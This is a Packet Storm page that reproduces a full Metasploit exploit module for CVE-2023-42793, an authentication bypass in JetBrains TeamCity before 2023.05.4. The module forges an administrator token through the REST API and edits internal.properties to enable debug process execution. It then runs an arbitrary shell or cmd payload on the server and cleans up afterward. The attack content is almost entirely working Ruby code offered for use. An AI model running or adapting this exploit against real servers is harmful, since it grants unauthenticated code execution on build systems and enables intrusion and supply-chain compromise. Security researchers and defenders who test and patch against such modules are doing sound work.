what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JetBrains TeamCity Unauthenticated Remote Code Execution

JetBrains TeamCity Unauthenticated Remote Code Execution
Posted Sep 29, 2023
Authored by sfewer-r7 | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue. The vulnerability was originally discovered by SonarSource.

tags | exploit, remote, code execution, bypass
advisories | CVE-2023-42793
SHA-256 | 9b42a137d2171272114f4f82b7d3c86e4a6e0716fd13735f9ad8df778b17a4bc

JetBrains TeamCity Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-42793'],
['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],
['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']
],
'DisclosureDate' => '2023-09-19',
'Platform' => %w[win linux],
'Arch' => [ARCH_CMD],
'Payload' => { 'Space' => 1024 },
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
'Targets' => [
[
'Windows',
{
'Platform' => 'win'
}
],
[
'Linux',
{
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111.
Opt::RPORT(8111),
# The first user created during installation is an administrator account, so the ID will be 1.
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),
# We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.
OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/login.html'
)

return CheckCode::Unknown('Connection failed') unless res

# We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".
# In the responses HTML body will be a string containing the release name and build version.
if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)
detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."

# The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.
if ::Regexp.last_match(2).to_i < 129421
return CheckCode::Vulnerable(detected)
end

return CheckCode::Safe(detected)
end

CheckCode::Unknown
end

def exploit
token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)

# A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation
# did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required
# and then proceed to create a new token for our use.
if res && (res.code == 400) && res.body.include?('Token already exists')

print_status('Token already exists, deleting and generating a new one.')

unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)
end

unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end

fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end

begin
token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s

print_status("Created authentication token: #{token}")

print_status('Modifying internal.properties to allow process creation...')

unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end

begin
print_status('Executing payload...')

vars_get = {}

# We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can
# construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`
# in the Ruby Hash.
vars_get.compare_by_identity

case target['Platform']
when 'win'
vars_get['exePath'] = 'cmd.exe'
vars_get['params'] = '/c'
vars_get['params'] = payload.encoded
when 'linux'
vars_get['exePath'] = '/bin/sh'
vars_get['params'] = '-c'
vars_get['params'] = payload.encoded
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/app/rest/debug/processes'),
'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
'headers' => {
'Authorization' => "Bearer #{token}",
'Content-Type' => 'text/plain'
},
'vars_get' => vars_get
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')
end
ensure
print_status('Resetting the internal.properties settings...')

unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end
end
ensure
print_status('Deleting the authentication token.')

unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end
end
end

def delete_token(token_uri)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(token_uri),
'headers' => {
'Connection' => 'close'
}
)

res&.code == 204
end

def modify_internal_properties(token, key, value)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/admin/dataDir.html'),
'headers' => {
'Authorization' => "Bearer #{token}"
},
'vars_get' => {
'action' => 'edit',
'fileName' => 'config/internal.properties',
'content' => value ? "#{key}=#{value}" : ''
}
)

unless res&.code == 200
# If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The
# server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.
if res&.code == 302
print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end

return false
end

print_status('Waiting for configuration change to be applied...')
retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/admin.html'),
'headers' => {
'Authorization' => "Bearer #{token}",
'Accept' => '*/*'
},
'vars_get' => {
'item' => 'diagnostics',
'tab' => 'properties'
}
)

res&.code == 200 && res.body.include?(key)
end
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close